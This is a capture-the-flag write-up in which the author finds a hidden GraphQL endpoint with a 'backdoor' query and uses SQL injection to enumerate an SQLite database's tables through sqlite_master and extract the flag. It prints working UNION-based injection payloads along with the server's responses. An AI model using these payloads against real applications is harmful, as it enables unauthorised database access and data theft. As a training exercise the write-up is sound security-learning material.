Tags: sql sqlinjection graphql 

Rating: 5.0

In this task we are given [a link](http://challenges.ctfd.io:30100/) to some website. If we open it, we will see a static page with just one link:

![](http://sergyperov.ru/media/ctf/writeups/batpwn-gonedev/1.png)

If we click on this link, we will go to the new page, which will basically be a web application:

![](http://sergyperov.ru/media/ctf/writeups/batpwn-gonedev/2a.png)

In the help resources we see two links: «Learn Grepping» and «Learn about GraphQL». By this we can guess that task is somehow connected with GraphQL technology. When we search all the loaded javascript source files of the application for «graphql» (via «Network» tab, for example), we will eventually find this peace of code:

```
this.graphql_url = "/gqlsecretpathhuehuehuehue"
```

This leads us to espciall url `http://challenges.ctfd.io:30100/gqlsecretpathhuehuehuehue` containing [GrpahiQL](https://github.com/graphql/graphiql), the GraphQL IDE where we can perform different queries:

![](http://sergyperov.ru/media/ctf/writeups/batpwn-gonedev/3.png)

On the left you can write a query and on the right you can see the result. In the `Docs` section we can see a message from an ex-developer which states that there is a special function called `backdoor` wich takes two arguments (id and hash). And we a also given an example parameters:

```
id: "2", hash: "c81e728d9d4c2f636f067f89cc14862c"
```

Let's build a simple query to a `backdoor`:

```
query {
backdoor(
id: "2",
hash: "c81e728d9d4c2f636f067f89cc14862c"
)
}
```

In the response we will see the name of an employee:

```
"data": {
"backdoor": "Roy"
}
```

If we google tha hash `c81e728d9d4c2f636f067f89cc14862c`, we will quickly find that it is an md5 for `2`. So we can build the same kind of query for user with `id: "3"` with corresponding md5 hash:

```
query {
backdoor(
id: "3",
hash: "eccbc87e4b5ce2fe28308fd9f2a7baf3"
)
}
```

results in:

```
{
"data": {
"backdoor": "Tracy"
}
}
```

*(where "eccbc87e4b5ce2fe28308fd9f2a7baf3" is an md5 hash for "3")*

Now let's try the simplest SQL injection payload:
```
query {
backdoor(
id: "'",
hash:"3590cb8af0bbb9e78c343b52b93773c9"
)
}
```

And we some interesting result:

```
{
"errors": [
{
"message": "(sqlite3.OperationalError) unrecognized token: \"'''\"\n[SQL: SELECT name FROM `employee` WHERE id=''']\n(Background on this error at: http://sqlalche.me/e/e3q8)",
"locations": [
{
"line": 2,
"column": 3
}
],
"path": [
"backdoor"
]
}
],
"data": {
"backdoor": null
}
}
```

From this we obtain two facts:

1. `backdoor` function is voulnerable to SQL injections
2. SQLite3 database is used

So we can pass some payload to retieve information in the response `"backdoor"` field, e.g.:

```
query {
backdoor(
id: "' UNION SELECT 'injection!' --",
hash:"bd79bdabd1a61dd2ea75f2fb04af9ed4"
)
}
```

will give us result:

```
{
"data": {
"backdoor": "injection!"
}
}
```

__NOTE: from this moment I will only provide "id" field of the request and "backdoor" field of the result to shorten the writeup__

First, we need to know information about the schema of the database. In the SQLite database, there is a special system table `sqlite_master`, which contains information about all existing tables in the database:

Payload `' union select tbl_name FROM sqlite_master; --` returns us `department`. So `department` is one if the tables in the database.

Let's check next tables: `' union select tbl_name FROM sqlite_master LIMIT 1,1; --` returns `employee` and finally `' union select tbl_name FROM sqlite_master LIMIT 1,2; --` returns `flag_random_name`. That looks like an interesting table name.

Let's see this table's structure: `' union select sql FROM sqlite_master LIMIT 2,1; --` returns `CREATE TABLE flag_random_name (\n\tid INTEGER NOT NULL, \n\tflag VARCHAR, \n\tPRIMARY KEY (id)\n)`.

So, we definitly need to query a `flag` column in the `flag_random_name` table. Let's do this: `' union select flag FROM flag_random_name WHERE flag LIKE 'batpwn{%'; --` finally returns the flag. Here we add `LIKE` operator because we know the structure of the flag (is should start with `batpwn{`) and we don't want to look through all the records in the `flag_random_name` table.